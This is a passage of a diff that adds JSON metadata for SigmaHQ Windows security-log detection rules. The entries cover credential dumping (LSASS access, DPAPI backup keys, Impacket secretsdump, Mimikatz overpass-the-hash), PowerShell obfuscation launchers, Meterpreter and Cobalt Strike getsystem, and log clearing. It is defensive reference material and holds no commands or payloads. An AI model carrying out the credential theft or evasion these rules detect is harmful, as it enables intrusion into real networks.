"https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.004" + ], + "creation_date": "2019/06/20", + "filename": "win_security_dpapi_domain_backupkey_extraction.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", + "uuid": "39a94fd1-8c9a-4ff6-bf22-c058762f8014", + "value": "DPAPI Domain Master Key Backup Attempt", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.004" + ], + "creation_date": "2019/08/10", + "filename": "win_security_dpapi_domain_masterkey_backup_attempt.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "uuid": "a4c90ea1-2634-4ca0-adbb-35eae169b6fc", + "value": "COMPlus_ETWEnabled Registry Modification", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_etw_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/06/05", + "filename": "win_security_etw_modification.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Checks for event id 1102 which indicates the security event log was cleared.", + "uuid": "a122ac13-daf8-4175-83a2-72c387be339d", + "value": "Security Event Log Cleared", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml" + ], + "tags": [ + "attack.t1070.001" + ], + "creation_date": "2021/08/15", + "filename": "win_security_event_log_cleared.yml", + "author": "Saw Winn Naung", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", + "uuid": "8fe1c584-ee61-444b-be21-e9054b229694", + "value": "CVE-2021-1675 Print Spooler Exploitation IPC Access", + "meta": { + "refs": [ + "https://twitter.com/INIT_3/status/1410662463641731075", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2021_1675_printspooler_security.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/07/02", + "filename": "win_security_exploit_cve_2021_1675_printspooler_security.yml", + "author": "INIT_6", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects external diskdrives or plugged in USB devices , EventID 6416 on windows 10 or later", + "uuid": "f69a87ea-955e-4fb4-adb2-bb9fd6685632", + "value": "External Disk Drive Or USB Storage Device", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_external_device.yml" + ], + "tags": [ + "attack.t1091", + "attack.t1200", + "attack.lateral_movement", + "attack.initial_access" + ], + "creation_date": "2019/11/20", + "filename": "win_security_external_device.yml", + "author": "Keith Wright", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.", + "uuid": "619b020f-0fd7-4f23-87db-3f51ef837a34", + "value": "Enumeration via the Global Catalog", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_global_catalog_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ], + "creation_date": "2020/05/11", + "filename": "win_security_global_catalog_enumeration.yml", + "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", + "level": "medium", + "falsepositive": [ + "Exclude known DCs." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale", + "uuid": "a8f29a7b-b137-4446-80a0-b804272f3da2", + "value": "Persistence and Execution at Scale via GPO Scheduled Task", + "meta": { + "refs": [ + "https://twitter.com/menasec1/status/1106899890377052160", + "https://www.secureworks.com/blog/ransomware-as-a-distraction", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml" + ], + "tags": [ + "attack.persistence", + "attack.lateral_movement", + "attack.t1053.005" + ], + "creation_date": "2019/04/03", + "filename": "win_security_gpo_scheduledtasks.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", + "uuid": "7b449a5e-1db5-4dd0-a2dc-4e3a67282538", + "value": "Hidden Local User Creation", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1387743867663958021", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2021/05/03", + "filename": "win_security_hidden_user_creation.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect the Hybrid Connection Manager service installation.", + "uuid": "0ee4d8a5-4e67-4faf-acfa-62a78457d1f2", + "value": "HybridConnectionManager Service Installation", + "meta": { + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hybridconnectionmgr_svc_installation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ], + "creation_date": "2021/04/12", + "filename": "win_security_hybridconnectionmgr_svc_installation.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of Hybrid Connection Manager via Azure function apps." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Impacket's psexec.py.", + "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b", + "value": "Impacket PsExec Execution", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/12/14", + "filename": "win_security_impacket_psexec.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect AD credential dumping using impacket secretdump HKTL", + "uuid": "252902e3-5830-4cf6-bf21-c22083dfd5cf", + "value": "Possible Impacket SecretDump Remote Activity", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.003" + ], + "creation_date": "2019/04/03", + "filename": "win_security_impacket_secretdump.yml", + "author": "Samir Bousseaden, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "4edf51e1-cb83-4e1a-bc39-800e396068e3", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_security_invoke_obfuscation_clip_services_security.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", + "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2019/11/08", + "filename": "win_security_invoke_obfuscation_obfuscated_iex_services_security.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_security_invoke_obfuscation_stdin_services_security.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "dcf2db1f-f091-425b-a821-c05875b8925a", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "win_security_invoke_obfuscation_var_services_security.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "7a922f1b-2635-4d6c-91ef-af228b198ad3", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_security_invoke_obfuscation_via_compress_services_security.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "f241cf1b-3a6b-4e1a-b4f9-133c00dd95ca", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "win_security_invoke_obfuscation_via_rundll_services_security.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "80b708f3-d034-40e4-a6c8-d23b7a7db3d1", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "win_security_invoke_obfuscation_via_stdin_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "1a0a2ff1-611b-4dac-8216-8a7b47c618a6", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_security_invoke_obfuscation_via_use_clip_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_security_invoke_obfuscation_via_use_mshta_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "cd0f7229-d16f-42de-8fe3-fba365fbcb3a", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "win_security_invoke_obfuscation_via_use_rundll32_services_security.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "4c54ba8f-73d2-4d40-8890-d9cf1dca3d30", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "win_security_invoke_obfuscation_via_var_services_security.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the mount of ISO images on an endpoint", + "uuid": "0248a7bc-8a9a-4cd8-a57e-3ae8e073a073", + "value": "ISO Image Mount", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", + "https://twitter.com/MsftSecIntel/status/1257324139515269121", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2021/05/29", + "filename": "win_security_iso_mount.yml", + "author": "Syed Hasan (@syedhasan009)", + "level": "medium", + "falsepositive": [ + "Software installation ISO files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", + "uuid": "52d8b0c6-53d6-439a-9e41-52ad442ad9ad", + "value": "First Time Seen Remote Named Pipe", + "meta": { + "refs": [ + "https://twitter.com/menasec1/status/1104489274387451904", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_lm_namedpipe.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Update the excluded named pipe to filter out any newly observed legit named pipe" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.", + "uuid": "eeb66bbb-3dde-4582-815a-584aee9fe6d1", + "value": "Correct Execution of Nltest.exe", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm", + "https://attack.mitre.org/software/S0359/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482", + "attack.t1018", + "attack.t1016" + ], + "creation_date": "2021/10/04", + "filename": "win_security_lolbas_execution_of_nltest.yml", + "author": "Arun Chauhan", + "level": "high", + "falsepositive": [ + "Red team activity", + "Rare legitimate use by an administrator" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential mimikatz-like tools accessing LSASS from non system account", + "uuid": "962fe167-e48d-4fd6-9974-11e5b9a5d6d1", + "value": "LSASS Access from Non System Account", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/06/20", + "filename": "win_security_lsass_access_non_system_account.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "uuid": "f0d1feba-4344-4ca9-8121-a6c97bd6df52", + "value": "Credential Dumping Tools Service Execution", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ], + "creation_date": "2017/03/05", + "filename": "win_security_mal_creddumper.yml", + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.", + "uuid": "cb062102-587e-4414-8efa-dbe3c7bf19c6", + "value": "Malicious Service Installations", + "meta": { + "refs": [ + "https://awakesecurity.com/blog/threat-hunting-for-paexec/", + "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1003", + "car.2013-09-005", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2017/03/27", + "filename": "win_security_mal_service_installs.yml", + "author": "Florian Roth, Daniil Yugoslavskiy, oscd.community (update)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", + "uuid": "1de68c67-af5c-4097-9c85-fe5578e09e67", + "value": "WCE wceaux.dll Access", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.s0005" + ], + "creation_date": "2017/06/14", + "filename": "win_security_mal_wceaux_dll.yml", + "author": "Thomas Patzke", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Alerts on Metasploit host's authentications on the domain.", + "uuid": "72124974-a68b-4366-b990-d30e0b2a190d", + "value": "Metasploit SMB Authentication", + "meta": { + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/05/06", + "filename": "win_security_metasploit_authentication.yml", + "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", + "level": "high", + "falsepositive": [ + "Linux hostnames composed of 16 characters." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", + "uuid": "6fb63b40-e02a-403e-9ffd-3bcc1d749442", + "value": "Metasploit Or Impacket Service Installation Via SMB PsExec", + "meta": { + "refs": [ + "https://bczyz1.github.io/2021/01/30/psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1570", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2021/01/21", + "filename": "win_security_metasploit_or_impacket_smb_psexec_service_install.yml", + "author": "Bartlomiej Czyz, Relativity", + "level": "high", + "falsepositive": [ + "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "critical", + "falsepositive": [ + "Highly unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects NetNTLM downgrade attack", + "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed", + "value": "NetNTLM Downgrade Attack", + "meta": { + "refs": [ + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ], + "creation_date": "2018/03/20", + "filename": "win_security_net_ntlm_downgrade.yml", + "author": "Florian Roth, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", + "uuid": "35bc7e28-ee6b-492f-ab04-da58fcf6402e", + "value": "Windows Network Access Suspicious desktop.ini Action", + "meta": { + "refs": [ + "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2021/12/06", + "filename": "win_security_net_share_obj_susp_desktop_ini.yml", + "author": "Tim Shelton (HAWK.IO)", + "level": "medium", + "falsepositive": [ + "Read only access list authority" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible bypass EDR and SIEM via abnormal user account name.", + "uuid": "cfeed607-6aa4-4bbd-9627-b637deb723c8", + "value": "New or Renamed User Account with '$' in Attribute 'SamAccountName'", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/10/25", + "filename": "win_security_new_or_renamed_user_account_with_dollar_sign.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", + "uuid": "8e5c03fa-b7f0-11ea-b242-07e0576828d9", + "value": "Denied Access To Remote Desktop", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2020/06/27", + "filename": "win_security_not_allowed_rdp_access.yml", + "author": "Pushkarev Dmitry", + "level": "medium", + "falsepositive": [ + "Valid user was not added to RDP group" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", + "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", + "value": "Successful Overpass the Hash Attempt", + "meta": { + "refs": [ + "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_overpass_the_hash.yml" + ], + "tags": [ + 